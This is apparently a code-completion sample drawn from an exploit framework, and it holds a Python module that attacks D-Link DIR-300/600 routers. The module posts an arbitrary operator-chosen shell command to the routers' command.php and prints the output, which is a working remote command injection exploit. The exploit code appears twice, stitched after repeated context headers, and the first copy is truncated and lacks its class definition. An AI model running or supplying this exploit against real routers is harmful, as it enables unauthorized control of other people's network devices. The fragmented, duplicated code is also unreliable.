# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


import core.Exploit
import core.io
import requests
import urllib.parse
import interface.utils
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning

    def help_command(self):
        print_help("Prints current value of command")

    def do_run(self, e):
        url = "http://%s:%s/command.php" % (self.host, self.port)

        payload = {'cmd': '%s; echo end' % self.command}
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                   'Accept-Encoding': 'gzip, deflate',
                   'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                   }
        try:
            print_warning("Sending exploit")
            # Requests forces URI encoding and can't be turned off
            # so we have to prepare HTTP request manually and modify it with urllib.parse.quote before sending
            request = requests.Request('POST', url, headers=headers, data=payload)
            r = request.prepare()
            # print("Before modification:", r.body)
            r.body = urllib.parse.quote('cmd=%s; echo end' % self.command, safe='/=')
            r.headers.update({'Content-Length': len(r.body)})
            # print("After modification:", r.body)
            s = requests.Session()
            response = s.send(r, timeout=15)
            s.close()
            # This won't work
            # response = requests.post(url, headers=headers, data=payload, proxies=proxies, timeout=60)
            if "end" in response.text:  # end8758 is unique tag to search for in output
                print_success("output of %s:" % self.command)

# Path: interface/messages.py
# def print_error(*args, **kwargs):
#     print(Color.RED + Color.BOLD + "[-]" + Color.ENDC, *args, **kwargs)
# 
# def print_success(*args, **kwargs):
#     print(Color.GREEN + Color.BOLD + "[+]" + Color.ENDC, *args, **kwargs)
# 
# def print_help(*args, **kwargs):
#     print(Color.PURPLE + Color.BOLD + "[?]" + Color.ENDC, *args, **kwargs)
# 
# def print_info(*args, **kwargs):
#     print(Color.BLUE + Color.BOLD + "[*]" + Color.ENDC, *args, **kwargs)
# 
# def print_warning(*args, **kwargs):
#     print(Color.YELLOW + Color.BOLD + "[!]" + Color.ENDC, *args, **kwargs)


# Path: modules/exploits/dlink/dir300_600_exec.py
import core.Exploit
import core.io
import requests
import urllib.parse
import interface.utils
from interface.messages import print_error, print_success, print_help, print_info, \
    print_warning


    def help_command(self):
        print_help("Prints current value of command")

    def do_run(self, e):
        url = "http://%s:%s/command.php" % (self.host, self.port)

        payload = {'cmd': '%s; echo end' % self.command}
        headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'Accept-Language: en-us,en;q=0.5',
                   'Accept-Encoding': 'gzip, deflate',
                   'Content-Type': 'application/x-www-form-urlencoded;charset=utf-8'
                   }
        try:
            print_warning("Sending exploit")
            # Requests forces URI encoding and can't be turned off
            # so we have to prepare HTTP request manually and modify it with urllib.parse.quote before sending
            request = requests.Request('POST', url, headers=headers, data=payload)
            r = request.prepare()
            # print("Before modification:", r.body)
            r.body = urllib.parse.quote('cmd=%s; echo end' % self.command, safe='/=')
            r.headers.update({'Content-Length': len(r.body)})
            # print("After modification:", r.body)
            s = requests.Session()
            response = s.send(r, timeout=15)
            s.close()
            # This won't work
            # response = requests.post(url, headers=headers, data=payload, proxies=proxies, timeout=60)
            if "end" in response.text:  # end8758 is unique tag to search for in output
                print_success("output of %s:" % self.command)

                print_success(response.text)